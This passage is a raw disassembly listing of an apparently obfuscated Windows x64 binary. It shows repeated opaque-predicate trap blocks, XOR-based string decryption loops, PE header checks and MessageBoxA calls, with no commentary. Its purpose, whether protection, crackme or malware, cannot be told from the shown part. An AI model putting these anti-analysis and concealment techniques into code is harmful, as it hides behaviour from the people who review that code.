je 0x140036c3c
mov rax, qword gs:[0x37]
movabs rbx, 0xccb3654c6870e515
cmp rax, r13
jne 0x14002aa80
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aa60
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aa60
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aa80
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140037d90
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400bfd40
mov rax, qword gs:[0x37]
mov edi, 0xaf7f77f7
cmp rax, r13
jne 0x14002ab62
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ab42
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ab42
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ab62
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002ac0c
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002abec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002abec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ac0c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14003848c
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002acd7
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002acb7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002acb7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002acd7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002ad81
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ad61
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ad61
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ad81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002adae
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14002aec7
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14002ae3e
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14002ae21
mov rsi, qword [rbp - 0x40]
mov r12d, 0xeb6f8fc5
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002af71
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002af51
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002af51
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002af71
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov edi, 0xaf7f77f7
cmp rax, r13
jne 0x14002b032
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b012
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b012
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b032
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002b0dc
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b0bc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b0bc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b0dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov ecx, 0x5a4d
cmp word [rsi], cx
je 0x14002b4b4
cmp rax, r13
jne 0x14002b19e
mov rax, qword gs:[0x45]
movabs rcx, 0xccb3654c6870e515
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b17e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b17e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b19e
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_211
mov r10, r15
movabs rbx, 0x1b6acfdbd
movabs rsi, 0x8080808080808081
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r14, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002b1f2
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400f2400]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400f2490]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400f2610]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x9237d4ed
mov dword [rbp + 0xc8c], 0xbd50f9c2
mov dword [rbp + 0xc90], 0x963583a8
mov word [rbp + 0xc94], 0xac
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x6887387609
movabs r11, 0xd10e70ec12
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002b2ca
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x37]
cmp rcx, r13
jne 0x14002b406
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b3e6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b3e6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b406
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140036f5a
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b494
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b494
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
cmp rax, r13
jne 0x14002b555
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b535
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b535
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b555
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x37]
mov r14d, 0xf95e3ae5
movabs rbx, 0xccb3654c6870e515
cmp rax, r14
jne 0x14002b61d
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b5fd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b5fd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b61d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14002b9ed
cmp rax, r14
jne 0x14002b6d7
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b6b7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b6b7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b6d7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_211
mov r10, r15
movabs rbx, 0x1b6acfdbd
movabs rsi, 0x8080808080808081
movabs r8, 0x1d217cd98d
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3a42f9b31a
movabs r13, 0x1b6acfdbc
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002b72b
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400f2400]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400f2470]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400f2610]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x9237d4ed
mov dword [rbp + 0xccc], 0xbd50f9c2
mov dword [rbp + 0xcd0], 0x963583a8
mov word [rbp + 0xcd4], 0xac
mov r9, r15
movabs r8, 0x6887387609
mov r10d, 0x3d
movabs r11, 0xd10e70ec12
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002b803
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002b93f
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b91f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b91f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b93f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x140036f5a
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b9cd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b9cd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
cmp rax, r14
jne 0x14002baa1
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3c0f780e
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ba81
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ba81
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002baa1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400f23f0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x85b62404
mov dword [rbp + 0x98c], 0x154a8c5c
mov dword [rbp + 0x990], 0xa4b27ff7
mov word [rbp + 0x994], 0x984b
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1b6acfdbc
movabs r9, 0x336845bc26
lea r10d, [rax + 0x1e]
movabs r12, 0x1b6acfdbd
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x66d08b784c
cmp r9, rax
jb 0x14002bb16
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400f24d0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400f2320]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x6a3de573c6
movabs r9, 0x351ef2b9e3
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x14002bbd7
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140036f68
mov rax, qword gs:[0x37]
cmp rax, r14
movabs rbx, 0xccb3654c6870e515
mov esi, 0xeb6f8fc5
jne 0x14002bd45
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bd25
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bd25
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bd45
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
mov edi, 0x3c0f780e
cmp rax, r14
jne 0x14002be06
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bde6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bde6
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002be06
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
xor ecx, ecx
call fcn.1400a19b4
mov rcx, rax
call fcn.14009d294
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002bebf
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002be9f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002be9f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bebf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002bf69
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bf49
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bf49
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bf69
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c013
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bff3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bff3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c013
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c0bd
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c09d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c09d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c0bd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r14
jne 0x14002c167
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
